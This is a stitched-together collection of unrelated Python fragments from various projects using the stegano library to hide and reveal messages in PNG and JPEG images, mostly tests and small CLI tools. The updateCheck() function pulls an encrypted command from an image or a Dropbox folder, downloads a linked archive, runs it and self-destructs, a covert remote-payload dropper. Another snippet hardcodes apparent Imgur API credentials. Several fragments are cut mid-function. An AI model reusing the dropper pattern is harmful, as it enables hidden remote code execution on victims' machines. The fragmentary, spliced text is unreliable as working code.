def test_hide_and_reveal_UTF32LE(self): messages_to_hide = 'I love 🍕 and 🍫!' secret = lsbset.hide("./tests/sample-files/Lenna.png", messages_to_hide, generators.eratosthenes(), 'UTF-32LE') secret.save("./image.png") clear_message = lsbset.reveal("./image.png", generators.eratosthenes(), 'UTF-32LE') self.assertEqual(messages_to_hide, clear_message)
def test_hide_and_reveal_with_shift(self): messages_to_hide = ["a", "foo", "Hello World!", ":Python:"] for message in messages_to_hide: secret = lsbset.hide("./tests/sample-files/Lenna.png", message, generators.eratosthenes(), 4) secret.save("./image.png") clear_message = lsbset.reveal("./image.png", generators.eratosthenes(), 4) self.assertEqual(message, clear_message)
def test_with_transparent_png(self): messages_to_hide = ["a", "foo", "Hello World!", ":Python:"] for message in messages_to_hide: secret = lsbset.hide("./tests/sample-files/transparent.png", message, generators.eratosthenes()) secret.save("./image.png") clear_message = lsbset.reveal("./image.png", generators.eratosthenes()) self.assertEqual(message, clear_message)
def test_hide_empty_message(self): """ Test hiding the empty string. """ with self.assertRaises(AssertionError): secret = lsbset.hide("./tests/sample-files/Lenna.png", "", generators.eratosthenes())
def test_manual_convert_rgb(self, input): message_to_hide = "Hello World!" secret = lsbset.hide( "./tests/sample-files/Lenna-grayscale.png", message_to_hide, generators.eratosthenes(), )
def find_message(pic_name): try: mess = lsbset.reveal(path_to_pics + pic_name, generators.eratosthenes()) except IndexError: return False return mess
def test_eratosthenes(self): """Test the Eratosthenes sieve.""" with open("./tests/expected-results/eratosthenes", "r") as f: self.assertEqual( tuple(itertools.islice(generators.eratosthenes(), 168)), tuple(int(line) for line in f), )
def hide_author(user, pic_name): message = user.username new_file = str(hash(pic_name)) + '.png' secret = lsbset.hide(path_to_pics + pic_name, message, generators.eratosthenes()) path = path_to_pics + new_file secret.save(path) return new_file
def test_auto_convert_rgb(self): message_to_hide = "Hello World!" lsbset.hide( "./tests/sample-files/Lenna-grayscale.png", message_to_hide, generators.eratosthenes(), auto_convert_rgb=True, )
def test_refuse_convert_rgb(self, input): message_to_hide = "Hello World!" with self.assertRaises(Exception): secret = lsbset.hide( "./tests/sample-files/Lenna-grayscale.png", message_to_hide, generators.eratosthenes(), )
def test_hide_and_reveal_with_bad_generator(self): message_to_hide = "Hello World!" secret = lsbset.hide("./tests/sample-files/Lenna.png", message_to_hide, generators.eratosthenes()) secret.save("./image.png") with self.assertRaises(IndexError): clear_message = lsbset.reveal("./image.png", generators.identity())
def hide(message: str, image_src_path: str, image_destination_path: str): """Hide a message in an image. Example: hide("I love ponies.", "image.jpg", "hidden.png") """ # doesn't work with .jpg, but works with .png if not image_destination_path.endswith(".png"): raise Exception("Destination image should have .png extension") image = lsbset.hide(image_src_path, message, generators.eratosthenes()) image.save(image_destination_path)
def reveal(image_path: str) -> str: """Find a message in an image. Example: reveal("hidden.png") """ try: return lsbset.reveal(image_path, generators.eratosthenes()) except FileNotFoundError: return "" except IndexError: # no hidden message in the image return ""
def updateCheck(): # checks for hidden messages in an image try: # a shortened url so we can change the image location without touching the code imgName = dlr('a_shortened_url') # extracts the message from the image message = lsbset.reveal(imgName, generators.eratosthenes()) with open('updts.txt', 'w') as updts: updts.write(message) # decrypts the message and checks for updates decryptedDic = dcryptFunc(message) if 'updatelink' in decryptedDic.keys(): newUpdateName = dlr(decryptedDic['updatelink']) unzipped = unZipper(newUpdateName) Popen(unzipped) selfDestruct() # failsafe: in case there was a problem in downloading the image or # extracting the message, use Dropbox except: acstoken = '' dbx = dropbox.Dropbox(acstoken) path = "" try: # lists all files in a Dropbox folder files = dbx.files_list_folder(path, recursive=True) for f in files.entries: # if there was 'update' in one of the file names ... if 'update' in f.name: # download the file metadata, downloadedFromdbx = dbx.files_download('/' + f.name) # remove carriage returns, space, etc... updatedContents = (downloadedFromdbx.content).strip() # decrypt the message and check for update decryptedDic = dcryptFunc(updatedContents.decode('utf-8')) with open('updts.txt', 'w') as updts: if 'updatelink' in decryptedDic.keys(): newUpdateName = dlr(decryptedDic['updatelink']) unzipped = unZipper(newUpdateName) Popen(unzipped) selfDestruct() # if there was no update available, just write the contents to a file else: with open('updts.txt', 'w') as updts: updts.write(updatedContents.decode('utf-8')) # in case both failed, just 'pass' so the program won't exit except: pass
def get_sign_from_image(source_image: Union[str, IO[bytes]]) -> Dict: signature_from_exif = exifHeader.reveal(source_image) signature_from_data = lsbset.reveal("./image.png", generators.eratosthenes()) return { 'signature_from_data': signature_from_data, 'signature_from_exif': signature_from_exif, 'matched': signature_from_data is not None and signature_from_data == signature_from_data }
def decrypter(key, fileprefix): filename = fileprefix + ".png" source = lsbset.reveal(filename, generators.eratosthenes()) key = key.encode("ascii") source = base64.b64decode(source.encode("latin-1")) key = SHA256.new(key).digest() IV = source[:AES.block_size] decryptor = AES.new(key, AES.MODE_CBC, IV) data = decryptor.decrypt(source[AES.block_size:]) padding = data[-1] data = data[:-padding] return (data.decode('ascii'))
def getSnapshot(url,width,height,name,key,visuel,watermark): from selenium import webdriver options = webdriver.ChromeOptions() options.binary_location = '/usr/bin/google-chrome' options.add_argument('headless') options.add_argument('window-size=%dx%d' % (width,height+100)) cdservice = service.Service('/usr/bin/chromedriver') states[key] = {'etat':u'Génération du visuel','avancement':20} cdservice.start() driver = webdriver.Chrome(chrome_options=options) states[key] = {'etat':u'Génération du visuel','avancement':30} driver.get(url); states[key] = {'etat':u'Génération du visuel','avancement':40} for i in range(6): time.sleep(0.5) states[key] = {'etat':u'Génération du visuel','avancement':60+i*5} im = Image.open(BytesIO(driver.get_screenshot_as_png())) im2 = im.crop((0,0,width,height)) driver.quit() cdservice.stop() output = BytesIO() import json data = json.loads(watermark) if data['visuel'] in ['urgdem','urgsoc','eurque','paxint','prohum','urgeco']: im2 = add_corners(im2,30) im2.save(output,'PNG') # Watermark / stegano import json output.seek(0) secret_image = lsbset.hide(output, watermark, generators.eratosthenes()) output_final = BytesIO() secret_image.save(output_final,'PNG') states[key] = {'etat':u'Génération du visuel','avancement':100} return output.getvalue() return output_final.getvalue()
def test_eratosthenes(self): """Test the Eratosthenes sieve. """ self.assertEqual( tuple(itertools.islice(generators.eratosthenes(), 168)), (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997))
def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] # if user does not select file, browser also # submit a empty part without filename if file.filename == '': flash('No selected file') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) fic = BytesIO() file.save(fic) fic.seek(0) return lsbset.reveal(fic, generators.eratosthenes()) return '''
from stegano import lsbset from stegano.lsbset import generators if __name__ == '__main__': hFile = "./image.png" secret_message = 'Prova Druido' secret_image = lsbset.hide("./samples/hackcortona-logo.png", secret_message, generators.eratosthenes(), auto_convert_rgb=True) secret_image.save(hFile) print('Message hidden in file: {}'.format(hFile)) message = lsbset.reveal(hFile, generators.eratosthenes()) print('Decrypted message: {}'.format(message))
from stegano import lsbset from stegano.lsbset import generators # secret_message = "It's my cat's birthday today." # secret_image = lsbset.hide("Amber.jpg", # secret_message, # generators.eratosthenes()) # secret_image.save("SafeWithAmber.png") message = lsbset.reveal("SafeWithAmber.png", generators.eratosthenes()) print (message)
def test_auto_convert_rgb(self): message_to_hide = "Hello World!" secret = lsbset.hide("./tests/sample-files/Lenna-grayscale.png", message_to_hide, generators.eratosthenes(), auto_convert_rgb=True)
def test_refuse_convert_rgb(self, input): message_to_hide = "Hello World!" with self.assertRaises(Exception): secret = lsbset.hide("./tests/sample-files/Lenna-grayscale.png", message_to_hide, generators.eratosthenes())
def reveal_message_console(currentos,path): if currentos == "windows": os.system("cls") location = path.replace('"','') img_name_arr = location.split("\\") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] #reveal message from jpg or jpeg file if img_ext == "jpg" or img_ext == "jpeg": #try to reveal hidden message try: message = exifHeader.reveal(location) message = message.decode() save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w") save_msg.write(message) save_msg.close() print(colored("Hidden Message Is: "+message,"green")) print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green")) todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green")) if todo.lower() == "e": os.system("cls") os.system("exit") elif todo.lower() == "m": banner(currentos) else: print(colored("Wrong Input.Quitting...","red")) #exit if error happnes except Exception as e: print(e) #print(colored("We have an error.Quitting...","red")) #os.system("cls") #os.system("exit") #reveal message from png files elif img_ext == "png": try: message = lsbset.reveal(location, generators.eratosthenes()) save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w") save_msg.write(message) save_msg.close() print(colored("Hidden Message Is: "+message,"green")) print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green")) todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green")) if todo.lower() == "e": os.system("cls") os.system("exit") elif todo.lower() == "m": banner(currentos) else: print(colored("Wrong Input.Quitting...","red")) except Exception as e: print(e) #print(colored("We have an error.Quitting...","red")) #os.system("cls") #os.system("exit") elif currentos == "linux": os.system("clear") location = path.replace('"','') img_name_arr = location.split("/") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] #show if jpg image if img_ext == "jpg" or img_ext == "jpeg": try: message = exifHeader.reveal(location) message = message.decode() save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w") save_msg.write(message) save_msg.close() print(colored("Hidden Message Is: "+message,"green")) print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green")) todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green")) if todo.lower() == "e": os.system("clear") os.system("exit") elif todo.lower() == "m": banner(currentos) else: print(colored("Wrong Input.Quitting...","red")) except Exception as e: print(colored("We have an error.Quitting...","red")) os.system("clear") os.system("exit") #show if png image elif img_ext == "png": try: message = lsbset.reveal(location, generators.eratosthenes()) message = message.decode() save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w","utf-8") save_msg.write(message) save_msg.close() print(colored("Hidden Message Is: "+message,"green")) print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green")) todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green")) if todo.lower() == "e": os.system("clear") os.system("exit") elif todo.lower() == "m": banner(currentos) else: print(colored("Wrong Input.Quitting...","red")) except Exception as e: print(colored("We have an error.Quitting...","red")) os.system("clear") os.system("exit")
import os import platform from termcolor import colored from datetime import date ,datetime import time from stegano import lsbset from stegano.lsbset import generators from stegano import exifHeader from pynput.keyboard import Listener from pynput import keyboard import sys import re file = "./Hidden/file.png" msg = lsbset.reveal(file,generators.eratosthenes()) message = msg.decode() msg = exifHeader.reveal("./Hidden/file.jpg") msg = msg.decode() #with open("tmp",'w') as f: # f.write(message) #get the file with open("tmp","r") as r: lines = r.read() lines = lines.encode().decode() lines = lines.splitlines() content = lines[:-1] lines = lines[-1] for x in content: print(x)
def hide_message_console(currentos,msg,image): #hide message for windows os if currentos == "windows": os.system("cls") #get the image file name and extension img = image.replace('"','') img = img.strip() img_name_arr = img.split("\\") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] #method if image file is jpg or jpeg if img_ext == "jpg" or img_ext == "jpeg": print(colored("Message: "+msg,"green")) print(colored("Image: "+img_name,"green")) confirm = input(colored("Type Y to confirm X to retry -->> ","green")) if(confirm.lower() == "y"): #try to hide message to file try: exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", msg) os.system("cls") print(colored("Message Hidden In Image","green")) print(colored("Image Available Under Images Folder","green")) os.system("exit") except Exception as e: print(colored("We have A Problem. Try Later...","red")) os.system("exit") elif confirm.lower() == "x": os.system("cls") os.system("exit") #method if image file is png elif img_ext == "png": print(colored("Message: "+msg,"green")) print(colored("Image: "+img_name,"green")) confirm = input(colored("Type Y to confirm X to retry -->> ","green")) if(confirm.lower() == "y"): #try to hide msg to file try: hide = lsbset.hide(img,msg,generators.eratosthenes()) hide.save("./Images/"+img_ext_arr[0]+".png") os.system("cls") print(colored("Message Hidden In Image","green")) print(colored("Image Available Under Images Folder","green")) os.system("exit") except Exception as e: print(e) print(colored("We have A Problem. Try Later...","red")) os.system("exit") elif confirm.lower() == "x": os.system("cls") os.system("exit") #if image file is not supported else: print(colored("We Recommend using jpg,png Format Images","red")) os.system("exit") elif currentos == "linux": os.system("clear") #get the image file name and extension img = image.replace('"','') img = img.strip() img_name_arr = img.split("/") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] #method if image file is jpg or jpeg if img_ext == "jpg" or img_ext == "jpeg": print(colored("Message: "+msg,"green")) print(colored("Image: "+img_name,"green")) confirm = input(colored("Type Y to confirm X to retry -->> ","green")) if(confirm.lower() == "y"): #try to hide message to file try: exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", msg) os.system("clear") print(colored("Message Hidden In Image","green")) print(colored("Image Available Under Images Folder","green")) os.system("exit") except Exception as e: print(e) #print(colored("We have A Problem. Try Later...","red")) #os.system("exit") elif confirm.lower() == "x": os.system("clear") os.system("exit") #method if image file is png elif img_ext == "png": print(colored("Message: "+msg,"green")) print(colored("Image: "+img_name,"green")) confirm = input(colored("Type Y to confirm X to retry -->> ","green")) if(confirm.lower() == "y"): #try to hide msg to file try: hide = lsbset.hide(img,msg,generators.eratosthenes()) hide.save("./Images/"+img_ext_arr[0]+".png") os.system("clear") print(colored("Message Hidden In Image","green")) print(colored("Image Available Under Images Folder","green")) os.system("exit") except Exception as e: print(colored("We have A Problem. Try Later...","red")) os.system("exit") elif confirm.lower() == "x": os.system("clear") os.system("exit") #if image file is not supported else: print(colored("We Recommend using jpg,png Format Images","red")) os.system("exit")
def test_with_too_long_message(self): with open("./tests/sample-files/lorem_ipsum.txt") as f: message = f.read() with self.assertRaises(Exception): lsbset.hide("./tests/sample-files/Lenna.png", message, generators.eratosthenes())
continue except KeyError: continue if 'username' in message.keys(): print("Received new message to decode.") if message['username'] == 'blackms': files = [x.encode('utf8').replace('<', '').replace('>', '') for x in message["text"].split("\n")] print("Received: {} files to open and decode.".format(len(files))) for file in files: if ".png" in file: file_name = file.split('/')[-1] urllib.urlretrieve(file, './received/{}'.format(file_name)) from stegano import lsbset from stegano.lsbset import generators chunk = lsbset.reveal("./received/{}".format(file_name), generators.eratosthenes()) decrypted_chunks.append(chunk) else: file_name = file.split('/')[-1].replace('?dl=1', '') urllib.urlretrieve(file, './received/{}'.format(file_name)) from myHackaton.libs.audio_steganography.engine import decode chunk = decode("./received/{}".format(file_name)).decode("utf-8") decrypted_chunks.append(chunk) print("First chunk from: {} contains: {}".format( file_name, chunk )) print('Message:\n{}'.format(''.join(decrypted_chunks))) decrypted_chunks = [] time.sleep(1)
chunks = [messaggio[i:i + group_size] for i in range(0, len(messaggio), group_size)] ordered_list = [] for chunk in chunks: method = steganographyc_methods[random.randint(0, 1)] print("Encoding chunk: '{}' with method: {}".format(chunk, method)) if method is 'IMAGE': from stegano import lsbset from stegano.lsbset import generators hFile = "./tmp/{}.png".format(uuid.uuid4()) secret_message = chunk secret_image = lsbset.hide("./myHackaton/samples/hackcortona-logo.png", secret_message, generators.eratosthenes(), auto_convert_rgb=True) secret_image.save(hFile) print('Message hidden in file: {}'.format(hFile)) client = ImgurClient('0f12475df84a578', 'facd4472f9d18c6aeb51b210b6321f6a2c5b9917') uploaded = client.upload_from_path(hFile) ordered_list.append(uploaded['link']) elif method is 'AUDIO': from myHackaton.libs.audio_steganography.engine import encode fileToEncode = "./myHackaton/samples/pandeiro_1_152_BPM.wav" messageFile = chunk file_name = uuid.uuid4() encodedOutputFile = "./tmp/{}.wav".format(file_name)
# r = requests.get(base_url + '/blocks/' + str(latest_fin_eth_blk_num)).json() # msg = bytes(str(r['hash']) +'_'+ str(r['time']), 'utf-8') msg = b'fe895898b8064515820af15e1921f8b5ae3c1660bb5dfd63bc07c04ce236972b_2018-12-16T17:36:36Z' # 3. Sign msg with pk sig = pk.sign_msg(msg) # Stegano's jpg support is broken. img = Image.open("sample.jpg") img.save("sample.png") del img # 4. encode sig into img # there has got to be an easier way... secret_sig = base56.encode(base16.decode(sig.to_hex()[2:].upper())) vessel_img = lsbset.hide("sample.png", secret_sig, generators.eratosthenes()) vessel_img.save("sig0.png") # 5. Hash vessel_img vih = sha3.keccak_256(vessel_img.tobytes()).digest() '''VERIFICATION EXAMPLE''' # 4. Prover provides verifer with secret_sig and generator used, verifer extracts secret_sig revealed_sig = lsbset.reveal("sig0.png", generators.eratosthenes()) # "sanity" check # base16.encode(base56.decode(revealed_sig)).lower() == sig.to_hex()[2:] # Convert back into a eth_key Signature rsig = keys.Signature(bytes.fromhex(base16.encode(base56.decode(revealed_sig))))
source = source.encode('ascii') character_selection = string.ascii_letters + string.digits key = ''.join(random.choice(character_selection) for i in range(10)) decoded_key = key key = key.encode('ascii') key = SHA256.new(key).digest() IV = Random.new().read(AES.block_size) encryptor = AES.new(key, AES.MODE_CBC, IV) padding = AES.block_size - len(source) % AES.block_size source += bytes([padding]) * padding data = IV + encryptor.encrypt(source) data_encrypted = base64.b64encode(data).decode("latin-1") secret_image = lsbset.hide(file_name + ".png", data_encrypted, generators.eratosthenes()) secret_image.save(output_file_name + ".png") imgur_link = input( "Please upload the output file to imgur and enter its extension here: \n") imgur_link_length = len(imgur_link) middle = imgur_link_length tweet_text = "" for x in range(imgur_link_length): if x == 3: tweet_text = tweet_text + decoded_key + " " elif x == 6: tweet_text = tweet_text + imgur_link[x] continue
def hide_file(currentos): if currentos == "windows": os.system("cls") #get file to hide file = input(colored("File Location -->> ","green")) #remove " and whitespace file = file.replace('"','') file = file.strip() #file extinsion file_addr = file.split("\\") file_name = file_addr[len(file_addr)-1] file_ext = file_name.split(".") ext = file_ext[len(file_ext)-1] #get image t hide file image = input(colored("Image To Hide File -->> ","green")) #get the image file name and extension img = image.replace('"','') img = img.strip() img_name_arr = img.split("/") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] os.system("clear") if img_ext == "jpg" or img_ext == "jpeg": #try to hide message to file try: with open(file,'rb') as f: data = f.read() data = data + file_name.encode() exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", data) except Exception as e: print(colored(e,"red")) finally: print(colored("Filed Hidden In the Image...","green")) print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow")) goto = input(colored("Type E(exit) M(main menu)")) if goto.lower() == "e": os.system("exit") elif goto.lower() == "m": banner(currentos) else: print(colored("Wrong Input...","red")) os.system("exit") elif img_ext == "png": try: with open(file,'rb') as f: data = f.read() data = data + file_name.encode() hide = lsbset.hide(img,msg,generators.eratosthenes()) hide.save("./Images/"+img_ext_arr[0]+".png") except Exception as e: print(colored(e,"red")) finally: print(colored("File Hidden In the Image...","green")) print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow")) goto = input(colored("Type E(exit) M(main menu)")) if goto.lower() == "e": os.system("exit") elif goto.lower() == "m": banner(currentos) else: print(colored("Wrong Input...","red")) os.system("exit") #if image file is not supported else: print(colored("We Recommend using jpg,png Format Images","red")) os.system("exit") elif currentos == "linux": os.system("clear") #get file to hide file = input(colored("File Location -->> ","green")) #remove " and whitespace file = file.replace('"','') file = file.strip() #file extinsion file_addr = file.split("/") file_name = file_addr[len(file_addr)-1] file_ext = file_name.split(".") ext = file_ext[len(file_ext)-1] #get image t hide file image = input(colored("Image To Hide File -->> ","green")) #get the image file name and extension img = image.replace('"','') img = img.strip() img_name_arr = img.split("/") img_name = img_name_arr[len(img_name_arr)-1] img_ext_arr = img_name.split(".") img_ext = img_ext_arr[len(img_ext_arr)-1] os.system("clear") if img_ext == "jpg" or img_ext == "jpeg": #try to hide message to file try: with open(file,'rb') as f: data = f.read() data = data + file_name.encode() exifHeader.hide(img,"./Images/"+img_ext_arr[0]+".jpg", data) except Exception as e: print(colored(e,"red")) finally: print(colored("Filed Hidden In the Image...","green")) print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow")) goto = input(colored("Type E(exit) M(main menu)")) if goto.lower() == "e": os.system("exit") elif goto.lower() == "m": banner(currentos) else: print(colored("Wrong Input...","red")) os.system("exit") elif img_ext == "png": try: with open(file,'rb') as f: data = f.read() data = data + file_name.encode() hide = lsbset.hide(img,msg,generators.eratosthenes()) hide.save("./Images/"+img_ext_arr[0]+".png") except Exception as e: print(colored(e,"red")) finally: print(colored("File Hidden In the Image...","green")) print(colored("File Is Under Images Folder "+img_ext_arr[0]+".jpg","yellow")) goto = input(colored("Type E(exit) M(main menu)")) if goto.lower() == "e": os.system("exit") elif goto.lower() == "m": banner(currentos) else: print(colored("Wrong Input...","red")) os.system("exit") #if image file is not supported else: print(colored("We Recommend using jpg,png Format Images","red")) os.system("exit")